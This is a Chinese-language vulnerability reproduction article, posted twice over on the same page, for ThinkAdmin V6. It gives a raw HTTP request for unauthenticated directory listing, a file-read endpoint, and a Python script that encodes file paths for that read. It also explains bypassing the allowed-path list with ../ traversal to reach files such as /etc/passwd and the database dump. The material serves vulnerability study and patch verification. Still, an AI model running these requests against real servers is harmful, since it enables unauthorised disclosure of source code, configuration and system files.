ThinkAdminV6未授权列目录、任意文件读取漏洞复现
时间:2023年06月11日
/来源:网络
/编辑:佚名
ThinkAdminV6漏洞复现
一、简介
ThinkAdmin是基于 ThinkPHP 的微信后台管理平台
二、漏洞影响版本
ThinkAdminV6
三、漏洞复现
未授权列目录:
POC:
复制代码
POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
rules=%5B%22.%2F%22%5D
复制代码
1、目录遍历注意POST数据包rules参数值需要URL编码
任意文件读取:
ThinkAdmin V6.0 <=2020.08.03.01
判断版本
POC:
/admin.html?s=admin/api.Update/get/encode/xxx
文件加密脚本
复制代码
import requests,json,base64,sys
def baseN(num, b):
return ((num == 0) and "0") or \
(baseN(num // b, b).lstrip("0") + "0123456789abcdefghijklmnopqrstuvwxyz"[num % b])
def poc(url):
while 1:
s = input("请输入需要读取的文件路径:").encode('utf-8')
if str(s) == "b'exit'":
sys.exit(0)
try:
poc =""
for i in s:
poc += baseN(i,36)
print(poc)
except:
pass
if __name__ == "__main__":
if len(sys.argv) == 2:
poc(sys.argv[1])
else:
print("""
_____ _ _ _ ___ _ _
|_ _| | (_) | | / _ \ | | (_)
| | | |__ _ _ __ | | _/ /_\ \ __| |_ __ ___ _ _ __
| | | '_ \| | '_ \| |/ / _ |/ _` | '_ ` _ \| | '_ \
| | | | | | | | | | <| | | | (_| | | | | | | | | | |
\_/ |_| |_|_|_| |_|_|\_\_| |_/\__,_|_| |_| |_|_|_| |_| v6
By: yuyan-sec \t [ThinkAdmin v6 任意文件读取]
Usage: python poc.py [URL]
python poc.py http://127.0.0.1
""")
复制代码
1、首先通过加密脚本或者文件加密之后的一串字符
2、构造访问,成功读取/app/admin/controller/Config.php文件,显示的是经过base64加密之后的字符串,需要进行base64解密
3、尝试直接读取别的文件,/app/data/data.sql、/etc/passwd,直接读取不行,因为
有一个允许的列表:
config
public/static
public/router.php
public/index.php
app/admin
app/wechat
但是可以通过../进行目录穿越进行绕过
参考:https://github.com/zoujingli/ThinkAdmin/issues/244
https://github.com/yuyan-sec/goTools/tree/master/ThinkAdmin
一、简介
ThinkAdmin是基于 ThinkPHP 的微信后台管理平台
二、漏洞影响版本
ThinkAdminV6
三、漏洞复现
未授权列目录:
POC:
复制代码
POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
rules=%5B%22.%2F%22%5D
复制代码
1、目录遍历注意POST数据包rules参数值需要URL编码
任意文件读取:
ThinkAdmin V6.0 <=2020.08.03.01
判断版本
POC:
/admin.html?s=admin/api.Update/get/encode/xxx
文件加密脚本
复制代码
import requests,json,base64,sys
def baseN(num, b):
return ((num == 0) and "0") or \
(baseN(num // b, b).lstrip("0") + "0123456789abcdefghijklmnopqrstuvwxyz"[num % b])
def poc(url):
while 1:
s = input("请输入需要读取的文件路径:").encode('utf-8')
if str(s) == "b'exit'":
sys.exit(0)
try:
poc =""
for i in s:
poc += baseN(i,36)
print(poc)
except:
pass
if __name__ == "__main__":
if len(sys.argv) == 2:
poc(sys.argv[1])
else:
print("""
_____ _ _ _ ___ _ _
|_ _| | (_) | | / _ \ | | (_)
| | | |__ _ _ __ | | _/ /_\ \ __| |_ __ ___ _ _ __
| | | '_ \| | '_ \| |/ / _ |/ _` | '_ ` _ \| | '_ \
| | | | | | | | | | <| | | | (_| | | | | | | | | | |
\_/ |_| |_|_|_| |_|_|\_\_| |_/\__,_|_| |_| |_|_|_| |_| v6
By: yuyan-sec \t [ThinkAdmin v6 任意文件读取]
Usage: python poc.py [URL]
python poc.py http://127.0.0.1
""")
复制代码
1、首先通过加密脚本或者文件加密之后的一串字符
2、构造访问,成功读取/app/admin/controller/Config.php文件,显示的是经过base64加密之后的字符串,需要进行base64解密
3、尝试直接读取别的文件,/app/data/data.sql、/etc/passwd,直接读取不行,因为
有一个允许的列表:
config
public/static
public/router.php
public/index.php
app/admin
app/wechat
但是可以通过../进行目录穿越进行绕过
参考:https://github.com/zoujingli/ThinkAdmin/issues/244
https://github.com/yuyan-sec/goTools/tree/master/ThinkAdmin
新闻资讯 更多
- 【建站知识】查询nginx日志状态码大于400的请求并打印整行04-03
- 【建站知识】Python中的logger和handler到底是个什么?04-03
- 【建站知识】python3拉勾网爬虫之(您操作太频繁,请稍后访问)04-03
- 【建站知识】xpath 获取meta里的keywords及description的方法04-03
- 【建站知识】python向上取整以50为界04-03
- 【建站知识】scrapy xpath遇见乱码解决04-03
- 【建站知识】scrapy爬取后中文乱码,解决word转为html 时cp1252编码问题04-03
- 【建站知识】scrapy采集—爬取中文乱码,gb2312转为utf-804-03